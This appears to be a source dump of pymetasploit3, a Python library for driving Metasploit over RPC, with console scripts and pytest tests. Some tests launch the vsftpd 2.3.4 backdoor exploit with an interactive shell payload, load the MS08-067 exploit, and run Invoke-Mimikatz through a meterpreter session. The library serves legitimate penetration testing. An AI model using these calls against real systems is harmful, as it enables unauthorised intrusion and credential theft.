destroy(self): 2039 | """ 2040 | Destroy the console. 2041 | """ 2042 | self.rpc.call(MsfRpcMethod.ConsoleDestroy, [self.cid]) 2043 | 2044 | def is_busy(self): 2045 | """ 2046 | Checks if the console is busy. We can't use .read() because that clears the data buffer. 2047 | We must do this by using .list instead. 2048 | """ 2049 | cons = self.rpc.call(MsfRpcMethod.ConsoleList)['consoles'] 2050 | for c in cons: 2051 | if c['id'] == self.cid: 2052 | return c['busy'] 2053 | 2054 | def run_module_with_output(self, mod, payload=None): 2055 | """ 2056 | Execute a module and wait for the returned data 2057 | 2058 | Mandatory Arguments: 2059 | - cid : the console identifier. 2060 | - mod : the ModuleManager object 2061 | """ 2062 | options_str = 'use {}/{}\n'.format(mod.moduletype, mod.modulename) 2063 | if self.rpc.consoles.console(self.cid).is_busy(): 2064 | raise MsfError('Console %s is busy' % self.cid) 2065 | self.rpc.consoles.console(self.cid).read() # clear data buffer 2066 | opts = mod.runoptions 2067 | for k in opts.keys(): 2068 | options_str += 'set {} {}\n'.format(k, opts[k]) 2069 | if mod.moduletype == 'exploit': 2070 | if payload: 2071 | options_str += 'set payload {}\n'.format(payload) 2072 | options_str += 'run' 2073 | self.rpc.consoles.console(self.cid).write(options_str) 2074 | # Sometimes it takes a while for the console to write all the options 2075 | # While it's writing the options the console will not be busy 2076 | while not self.rpc.consoles.console(self.cid).is_busy(): 2077 | time.sleep(.5) 2078 | # After it's done writing all the options then the console will turn busy as the module runs 2079 | while self.rpc.consoles.console(self.cid).is_busy(): 2080 | time.sleep(1) 2081 | return self.rpc.consoles.console(self.cid).read()['data'] 2082 | 2083 | 2084 | class ConsoleManager(MsfManager): 2085 | 2086 | @property 2087 | def list(self): 2088 | """ 2089 | A list of active consoles. 2090 | """ 2091 | return self.rpc.call(MsfRpcMethod.ConsoleList)['consoles'] 2092 | 2093 | def console(self, cid=None): 2094 | """ 2095 | Connect to an active console otherwise create a new console. 2096 | 2097 | Optional Keyword Arguments: 2098 | - cid : the console identifier. 2099 | """ 2100 | s = [i['id'] for i in self.list] 2101 | if cid is None: 2102 | return MsfConsole(self.rpc) 2103 | if cid not in s: 2104 | raise KeyError('Console ID (%s) does not exist' % cid) 2105 | else: 2106 | return MsfConsole(self.rpc, cid=cid) 2107 | 2108 | def destroy(self, cid): 2109 | """ 2110 | Destroy an active console. 2111 | 2112 | Mandatory Arguments: 2113 | - cid : the console identifier. 2114 | """ 2115 | self.rpc.call(MsfRpcMethod.ConsoleDestroy, [cid]) 2116 | 2117 | 2118 | -------------------------------------------------------------------------------- /pymetasploit3/scripts/pymsfconsole.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from code import InteractiveConsole 4 | from atexit import register 5 | from sys import stdout 6 | from os import path 7 | import readline 8 | 9 | from pymetasploit3.msfrpc import MsfRpcClient, MsfRpcError 10 | from pymetasploit3.msfconsole import MsfRpcConsole 11 | from pymetasploit3.utils import parseargs 12 | 13 | 14 | class MsfConsole(InteractiveConsole): 15 | 16 | def __init__(self, password, **kwargs): 17 | self.fl = True 18 | self.client = MsfRpcConsole(MsfRpcClient(password, **kwargs), cb=self.callback) 19 | InteractiveConsole.__init__(self, {'rpc': self.client}) 20 | self.init_history(path.expanduser('~/.msfconsole_history')) 21 | 22 | def raw_input(self, prompt): 23 | line = InteractiveConsole.raw_input(self, prompt=self.client.prompt) 24 | return "rpc.execute('%s')" % line.replace("'", r"\'") 25 | 26 | def init_history(self, histfile): 27 | readline.parse_and_bind('tab: complete') 28 | if hasattr(readline, "read_history_file"): 29 | try: 30 | readline.read_history_file(histfile) 31 | except IOError: 32 | pass 33 | register(self.save_history, histfile) 34 | 35 | def save_history(self, histfile): 36 | readline.write_history_file(histfile) 37 | del self.client 38 | print('bye!') 39 | 40 | def callback(self, d): 41 | stdout.write('\n%s' % d['data']) 42 | if not self.fl: 43 | stdout.write('\n%s' % d['prompt']) 44 | stdout.flush() 45 | else: 46 | self.fl = False 47 | 48 | 49 | if __name__ == '__main__': 50 | o = parseargs() 51 | try: 52 | m = MsfConsole(o.__dict__.pop('password'), **o.__dict__) 53 | m.interact('') 54 | except MsfRpcError as m: 55 | print(str(m)) 56 | exit(-1) 57 | exit(0) 58 | -------------------------------------------------------------------------------- /pymetasploit3/scripts/pymsfrpc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from code import InteractiveConsole 4 | from atexit import register 5 | from os import path 6 | import readline 7 | 8 | from pymetasploit3.msfrpc import MsfRpcClient, MsfRpcError 9 | from pymetasploit3.utils import parseargs 10 | 11 | 12 | class MsfRpc(InteractiveConsole): 13 | def __init__(self, password, **kwargs): 14 | self.client = MsfRpcClient(password, **kwargs) 15 | InteractiveConsole.__init__(self, {'rpc' : self.client}, '') 16 | self.init_history(path.expanduser('~/.msfrpc_history')) 17 | 18 | def init_history(self, histfile): 19 | readline.parse_and_bind('tab: complete') 20 | if hasattr(readline, "read_history_file"): 21 | try: 22 | readline.read_history_file(histfile) 23 | except IOError: 24 | pass 25 | register(self.save_history, histfile) 26 | 27 | def save_history(self, histfile): 28 | readline.write_history_file(histfile) 29 | 30 | 31 | if __name__ == '__main__': 32 | o = parseargs() 33 | try: 34 | m = MsfRpc(o.__dict__.pop('password'), **o.__dict__) 35 | m.interact('') 36 | except MsfRpcError as m: 37 | print(str(m)) 38 | exit(-1) 39 | exit(0) 40 | -------------------------------------------------------------------------------- /pymetasploit3/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from optparse import OptionParser 4 | import msgpack 5 | 6 | __all__ = [ 7 | 'parseargs', 8 | 'convert', 9 | 'decode', 10 | 'encode' 11 | ] 12 | 13 | 14 | def parseargs(): 15 | p = OptionParser() 16 | p.add_option("-P", dest="password", help="Specify the password to access msfrpcd", metavar="opt") 17 | p.add_option("-S", dest="ssl", help="Disable SSL on the RPC socket", action="store_false", default=True) 18 | p.add_option("-U", dest="username", help="Specify the username to access msfrpcd", metavar="opt", default="msf") 19 | p.add_option("-a", dest="server", help="Connect to this IP address", metavar="host", default="127.0.0.1") 20 | p.add_option("-p", dest="port", help="Connect to the specified port instead of 55552", metavar="opt", default=55553) 21 | o, a = p.parse_args() 22 | if o.password is None: 23 | print('[-] Error: a password must be specified (-P)\n') 24 | p.print_help() 25 | exit(-1) 26 | return o 27 | 28 | def convert(data): 29 | """ 30 | Converts all bytestrings to utf8 31 | """ 32 | if isinstance(data, bytes): return data.decode() 33 | if isinstance(data, list): return list(map(convert, data)) 34 | if isinstance(data, set): return set(map(convert, data)) 35 | if isinstance(data, dict): return dict(map(convert, data.items())) 36 | if isinstance(data, tuple): return map(convert, data) 37 | return data 38 | 39 | def encode(data): 40 | return msgpack.packb(data) 41 | 42 | def decode(data): 43 | return msgpack.unpackb(data) -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from setuptools import setup, find_packages 4 | from os import path 5 | 6 | 7 | def read(fname): 8 | return open(path.join(path.dirname(__file__), fname)).read() 9 | 10 | 11 | setup( 12 | name='pymetasploit3', 13 | author='Dan McInerney', 14 | version='1.0', 15 | author_email='danhmcinerney@gmail.com', 16 | description='A full-fledged msfrpc library for Metasploit framework.', 17 | license='GPL', 18 | packages=find_packages(exclude='tests'), 19 | scripts=[ 20 | 'pymetasploit3/scripts/pymsfconsole.py', 21 | 'pymetasploit3/scripts/pymsfrpc.py' 22 | ], 23 | install_requires=[ 24 | 'msgpack', 25 | 'requests' 26 | ], 27 | url='https://github.com/DanMcInerney/pymetasploit3', 28 | download_url='https://github.com/DanMcInerney/pymetasploit3/zipball/master', 29 | long_description=read('README.md') 30 | ) 31 | -------------------------------------------------------------------------------- /tests/test.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /tests/test_console.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | import time 3 | 4 | from pymetasploit3.msfrpc import * 5 | 6 | @pytest.fixture() 7 | def client(): 8 | client = MsfRpcClient('123', port=55552) 9 | yield client 10 | client.call(MsfRpcMethod.AuthLogout) 11 | 12 | 13 | @pytest.fixture() 14 | def cid(client): 15 | c_id = client.call(MsfRpcMethod.ConsoleCreate)['id'] 16 | client.consoles.console(c_id).read() 17 | yield c_id 18 | destroy = client.call(MsfRpcMethod.ConsoleDestroy, [c_id]) 19 | assert destroy['result'] == 'success' 20 | 21 | 22 | def test_consolelist(client): 23 | conlist = client.call(MsfRpcMethod.ConsoleList) 24 | assert 'consoles' in conlist 25 | assert type(conlist['consoles']) == list 26 | 27 | 28 | def test_console_manager_list(client): 29 | conlist = client.consoles.list 30 | for x in conlist: 31 | assert 'id' in x 32 | break 33 | 34 | 35 | def test_console_is_busy(client, cid): 36 | assert client.consoles.console(cid).is_busy() == False 37 | 38 | 39 | def test_console_manager_readwrite(client, cid): 40 | client.consoles.console(cid).write("show options") 41 | out = client.consoles.console(cid).read()['data'] 42 | timeout = 30 43 | counter = 0 44 | while counter < timeout: 45 | out += client.consoles.console(cid).read()['data'] 46 | if len(out) > 0: 47 | break 48 | time.sleep(1) 49 | counter += 1 50 | assert "Global Options" in out 51 | 52 | 53 | def test_console_run_module(client, cid): 54 | x = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor') 55 | x['RHOSTS'] = '127.0.0.1' 56 | out = client.consoles.console(cid).run_module_with_output(x, payload='cmd/unix/interact') 57 | assert type(out) == str 58 | assert '[*] Exploit completed, but no session was created.'.lower() in out.lower() -------------------------------------------------------------------------------- /tests/test_db.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import pytest 4 | import os 5 | from pymetasploit3.msfrpc import * 6 | 7 | 8 | @pytest.fixture() 9 | def client(): 10 | client = MsfRpcClient('123', port=55552) 11 | yield client 12 | client.call(MsfRpcMethod.AuthLogout) 13 | 14 | 15 | def test_hosts(client): 16 | default_workspace_hosts = client.db.workspaces.workspace('default').hosts.list 17 | assert 'created_at' in default_workspace_hosts[0] # requires that db is connected and you've had a session 18 | 19 | 20 | def test_list(client): 21 | workspace_list = client.db.workspaces.list 22 | assert workspace_list[0]['name'] == 'default' 23 | 24 | 25 | def test_note_add(client): 26 | type_of_note = 'pytest' 27 | data_of_note = 'pytest data string' 28 | client.db.workspaces.workspace('default').notes.report(type_of_note, data_of_note, update='unique') 29 | note = client.db.workspaces.workspace('default').notes.find(ntype='pytest') 30 | assert note[0]['data'] == '"pytest data string"' 31 | 32 | 33 | # Metasploit issue: https://github.com/rapid7/metasploit-framework/issues/11755 34 | #def test_workspace_note_del(client): 35 | # client.call('db.del_note', [{'workspace':'default', 'ntype':'pytest'}]) 36 | # or 37 | # client.db.workspaces.workspace('default').notes.delete(ntype='pytest') 38 | 39 | 40 | # There is no RPC API call for deleting loot 41 | def test_loot(client): 42 | client.db.workspaces.workspace('default').loots.report(path='pytest', rtype='pytest', data='pytest', host='1.1.1.1') 43 | loot_list = client.db.workspaces.workspace('default').loots.list 44 | assert loot_list[0]['data'] == 'pytest' 45 | 46 | 47 | def test_hosts_add(client): 48 | client.db.workspaces.workspace('default').hosts.report(host='1.1.1.2') 49 | hosts = client.db.workspaces.workspace('default').hosts.list 50 | host_found = False 51 | for d in hosts: 52 | if d['address'] == '1.1.1.2': 53 | host_found = True 54 | break 55 | assert host_found == True 56 | 57 | 58 | def test_hosts_del(client): 59 | client.db.workspaces.workspace('default').hosts.delete(host='1.1.1.2') 60 | hosts = client.db.workspaces.workspace('default').hosts.list 61 | host_found = False 62 | for d in hosts: 63 | if d['address'] == '1.1.1.2': 64 | host_found = True 65 | break 66 | assert host_found == False 67 | 68 | 69 | def test_services_add(client): 70 | client.db.workspaces.workspace().services.report(host='1.1.1.3', port=1, proto='tcp') 71 | services = client.db.workspaces.workspace().services.list 72 | service_found = False 73 | for d in services: 74 | if d['host'] == '1.1.1.3' and d['port'] == 1 and d['proto'] == 'tcp': 75 | service_found = True 76 | break 77 | assert service_found == True 78 | 79 | 80 | def test_services_del(client): 81 | client.db.workspaces.workspace().services.delete(host='1.1.1.3') 82 | services = client.db.workspaces.workspace().services.list 83 | service_found = False 84 | for d in services: 85 | if d['host'] == '1.1.1.3' and d['port'] == 1 and d['proto'] == 'tcp': 86 | service_found = True 87 | break 88 | assert service_found == False 89 | 90 | 91 | def test_vuln_add(client): 92 | host = '1.1.1.4' 93 | name = 'pytest' 94 | client.db.workspaces.workspace('default').vulns.report(host, name) 95 | vuln = client.db.workspaces.workspace('default').vulns.get(host='1.1.1.4') 96 | assert vuln[0]['host'] == '1.1.1.4' 97 | 98 | 99 | # Metasploit issue: https://github.com/rapid7/metasploit-framework/issues/11756 100 | #def test_vuln_del(client): 101 | # client.call('db.del_vuln', [{'workspace':'default', 'host':'1.1.1.4'}]) 102 | # or 103 | # client.db.workspaces.workspace('default').vulns.delete(host='1.1.1.4') 104 | 105 | 106 | def test_workspaces_add(client): 107 | client.db.workspaces.add('pytest') 108 | ws = client.db.workspaces.get('pytest') 109 | assert ws[0]['name'] == 'pytest' 110 | 111 | 112 | def test_workspaces_importfile(client): 113 | client.db.workspaces.set('pytest') 114 | cur = client.db.workspaces.current.current 115 | assert cur == 'pytest' 116 | test_file = os.getcwd() + '/test.xml' 117 | client.db.workspaces.workspace(cur).importfile(test_file) 118 | assert client.db.workspaces.workspace(cur).hosts.get(host='192.168.1.2')[0]['address'] == '192.168.1.2' 119 | client.db.workspaces.set('default') 120 | 121 | 122 | def test_workspaces_del(client): 123 | client.db.workspaces.remove('pytest') 124 | ws = client.db.workspaces.list 125 | found = False 126 | for d in ws: 127 | if d['name'] == 'pytest': 128 | found = True 129 | assert found == False 130 | -------------------------------------------------------------------------------- /tests/test_modulemanager.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import pytest 4 | from pymetasploit3.msfrpc import * 5 | 6 | 7 | @pytest.fixture() 8 | def client(): 9 | client = MsfRpcClient('123', port=55552) 10 | yield client 11 | client.call(MsfRpcMethod.AuthLogout) 12 | 13 | 14 | def test_module_list(client): 15 | exs = client.modules.exploits 16 | assert "windows/smb/ms08_067_netapi" in exs 17 | 18 | 19 | def test_module_options(client): 20 | ex = client.modules.use('exploit', 'windows/smb/ms08_067_netapi') 21 | assert "Proxies" in ex.options 22 | assert "RHOSTS" in ex.required 23 | 24 | 25 | def test_module_settings(client): 26 | ex = client.modules.use('exploit', 'windows/smb/ms08_067_netapi') 27 | ex['RHOSTS'] = '127.0.0.1' 28 | opts = ex.runoptions 29 | assert opts['RHOSTS'] == '127.0.0.1' 30 | 31 | 32 | def test_module_rpc_info(client): 33 | modinfo = client.call(MsfRpcMethod.ModuleInfo, [None, "exploit/windows/smb/ms08_067_netapi"]) 34 | assert modinfo['name'] == "MS08-067 Microsoft Server Service Relative Path Stack Corruption" 35 | 36 | 37 | def test_module_all_info(client): 38 | ex = client.modules.use('exploit', 'windows/smb/ms08_067_netapi') 39 | assert 'options' in ex._info -------------------------------------------------------------------------------- /tests/test_msfrpc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import pytest 4 | from pymetasploit3.msfrpc import * 5 | 6 | 7 | @pytest.fixture() 8 | def client(): 9 | client = MsfRpcClient('123', port=55552) 10 | yield client 11 | client.call(MsfRpcMethod.AuthLogout) 12 | 13 | 14 | @pytest.fixture() 15 | def cid(client): 16 | c_id = client.consoles.console().cid 17 | yield c_id 18 | destroy = client.consoles.console(cid).destroy 19 | assert destroy['result'] == 'success' 20 | 21 | def test_jobs(client): 22 | assert type(client.jobs.list) == dict 23 | 24 | def test_login(client): 25 | assert isinstance(client, MsfRpcClient) 26 | tl = client.call(MsfRpcMethod.AuthTokenList) 27 | assert 'tokens' in tl 28 | assert len(tl['tokens']) > 1 # There should be temp token and UUID perm token 29 | nontemp_token = False 30 | for x in tl['tokens']: 31 | if 'TEMP' in x: 32 | continue 33 | if 'TEMP' not in x: 34 | nontemp_token = True 35 | break 36 | assert nontemp_token == True 37 | 38 | 39 | def test_pluginloaded(client): 40 | plugins = client.call(MsfRpcMethod.PluginLoaded) 41 | assert 'msgrpc' in plugins['plugins'] -------------------------------------------------------------------------------- /tests/test_sessions.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import pytest 4 | import time 5 | import os 6 | from pymetasploit3.msfrpc import * 7 | 8 | 9 | @pytest.fixture() 10 | def client(): 11 | client = MsfRpcClient('123', port=55552) 12 | yield client 13 | client.call(MsfRpcMethod.AuthLogout) 14 | 15 | @pytest.fixture() 16 | def meterpreter_sid(client): 17 | s = client.sessions.list 18 | for sid in s: 19 | if s[sid]['type'] == 'meterpreter': 20 | assert int(sid) 21 | yield sid 22 | 23 | @pytest.fixture() 24 | def shell_sid(client): 25 | s = client.sessions.list 26 | for sid in s: 27 | if s[sid]['type'] == 'shell': 28 | assert int(sid) 29 | yield sid 30 | 31 | def test_list(client): 32 | sess_list = client.sessions.list 33 | assert type(sess_list) == dict 34 | 35 | 36 | def test_met_module_list(client, meterpreter_sid): 37 | assert 'post/' in client.sessions.session(meterpreter_sid).modules[0] 38 | 39 | 40 | def test_read(client, meterpreter_sid): 41 | assert type(client.sessions.session(meterpreter_sid).read()) == str 42 | 43 | 44 | def test_runsingle(client, meterpreter_sid): 45 | assert type(client.sessions.session(meterpreter_sid).runsingle('')) == str 46 | 47 | 48 | def test_met_readwrite(client, meterpreter_sid): 49 | s = client.sessions.session(meterpreter_sid) 50 | s.write('help') 51 | out = '' 52 | while len(out) == 0: 53 | time.sleep(1) 54 | out = s.read() 55 | assert '\nCore Commands\n=============\n\n' in out 56 | 57 | 58 | def test_met_run_with_output(client, meterpreter_sid): 59 | s = client.sessions.session(meterpreter_sid) 60 | cmd = 'arp' 61 | end_strs = ['----'] 62 | out = s.run_with_output(cmd, end_strs) 63 | assert 'ARP cache' in out 64 | 65 | 66 | def test_shell_run_with_output(client, shell_sid): 67 | s = client.sessions.session(shell_sid) 68 | cmd = 'whoami' 69 | end_strs = ['>'] 70 | out = s.run_with_output(cmd, end_strs) 71 | assert '\\' in out 72 | 73 | 74 | def test_psh_script(client, meterpreter_sid): 75 | s = client.sessions.session(meterpreter_sid) 76 | path = os.getcwd() 77 | path += '/Invoke-Mimikatz.ps1' 78 | out = s.import_psh(path) 79 | assert 'success' in out 80 | out = s.run_psh_cmd('Invoke-Mimikatz') 81 | assert 'mimikatz' in out 82 | --------------------------------------------------------------------------------